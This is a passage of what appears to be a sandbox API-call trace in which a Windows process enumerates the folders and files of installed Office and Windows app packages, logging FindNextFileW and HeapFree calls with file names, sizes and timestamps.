ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5b07f008, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftAccount.scale-100.png", cAlternateFileName="")) returned 1 [0092.956] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.956] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b6b3675, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5b6b3675, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5b6b3675, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookAccount.scale-100.png", cAlternateFileName="")) returned 1 [0092.956] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.956] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b6b3675, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf3b4e8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b6d8db2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jscripts", cAlternateFileName="")) returned 1 [0092.957] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.957] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b6d8db2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf3b57d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b6d8db2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 1 [0092.957] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.957] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b6d8db2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5b74b4f1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5b74b4f1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x14e4c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Applications.Telemetry.Windows.dll", cAlternateFileName="")) returned 1 [0092.957] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.957] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b74b4f1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5b74b4f1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5b74b4f1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mso0127.acl", cAlternateFileName="")) returned 1 [0092.958] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.958] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5db81172, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5dba73d0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5dba73d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbbcb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0092.958] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.958] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5dde3722, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf3b7fcf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5dde3722, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-latn-cs", cAlternateFileName="SR-LAT~1")) returned 1 [0092.958] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.958] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dde3722, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5de0997c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5de0997c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x24ac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="textinputdriver.dll", cAlternateFileName="")) returned 1 [0092.960] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.960] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de0997c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf435cd5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5dea7b9b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenote", cAlternateFileName="")) returned 0 [0092.960] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0092.960] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.960] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de0997c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaf3b8a1c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5de0997c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xaml", cAlternateFileName="")) returned 0 [0092.960] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0092.960] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.962] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58fa379e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd1eaa713, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1eaa713, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.OneNote_2015.7668.58071.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIAECB~1.0_N")) returned 1 [0092.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.962] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5943ac80, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5943ac80, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5943ac80, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.962] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.962] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd1eaa713, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd1eaa713, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1eaa713, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0092.963] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0092.963] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.963] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf561945, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e6321cd, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI4126~1.0_X")) returned 1 [0092.963] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.964] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa599a57e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa599a57e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa599a57e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2f7d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0092.967] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.967] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa59c07d4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf5e05e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa5da4145, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebPlayer", cAlternateFileName="WEBPLA~1")) returned 0 [0092.967] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0092.967] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.967] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5da4145, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa5da4145, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa60068b6, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x618288, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CsiImm.dll", cAlternateFileName="")) returned 1 [0092.969] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.969] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa611194e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf65eae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa611194e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fonts", cAlternateFileName="")) returned 1 [0092.969] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.969] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa611194e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf75f944, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6794654, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1 [0092.973] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.973] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6373eb6, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf8d0215, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa644c9ea, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0093.295] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0093.295] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa644c9ea, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa644c9ea, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa644c9ea, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x18b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DoneHero.png", cAlternateFileName="")) returned 1 [0093.298] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.298] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e6321cd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaf8d1431, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e6321cd, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0093.300] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.300] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6794654, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa6794654, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa6806cdc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x13e430, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipcm.dll", cAlternateFileName="")) returned 1 [0093.301] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0093.301] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa78911fc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf8d2bfe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa78911fc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shared", cAlternateFileName="")) returned 1 [0093.302] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0093.302] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa78911fc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf943e43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa78b7317, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="story", cAlternateFileName="")) returned 1 [0093.304] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0093.305] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa78911fc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf943e43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa78b7317, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="story", cAlternateFileName="")) returned 0 [0093.305] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0093.305] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0093.305] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa786af81, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf8d21fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa78911fc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="view", cAlternateFileName="")) returned 0 [0093.305] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0093.305] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.307] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78b7317, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa78b7317, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa7c24a57, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xbf7840, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sway.exe", cAlternateFileName="")) returned 1 [0093.310] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0093.310] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7c24a57, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf9b0041, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa7c4acb9, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso", cAlternateFileName="")) returned 0 [0093.310] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0093.310] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.310] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7c24a57, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaf945b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa7c24a57, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xaml", cAlternateFileName="")) returned 0 [0093.311] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0093.311] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0093.311] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa57d3c26, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xafabb342, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e60bed5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI01E4~1.0_N")) returned 1 [0093.312] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.312] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa594e361, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa594e361, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xa594e361, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2f57, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0093.312] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.313] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6e60bed5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xafabcf70, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6e60bed5, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0093.313] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0093.313] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0093.313] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ef508f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI4988~1.SCA")) returned 1 [0093.316] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0093.316] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2072835, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafbab880, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x210b18c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0093.319] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0093.319] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210b18c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x21313e6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x21313e6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x26a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneConnectAppList.scale-100.png", cAlternateFileName="")) returned 1 [0093.319] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0093.320] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd45db281, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd45db281, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd45db281, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, 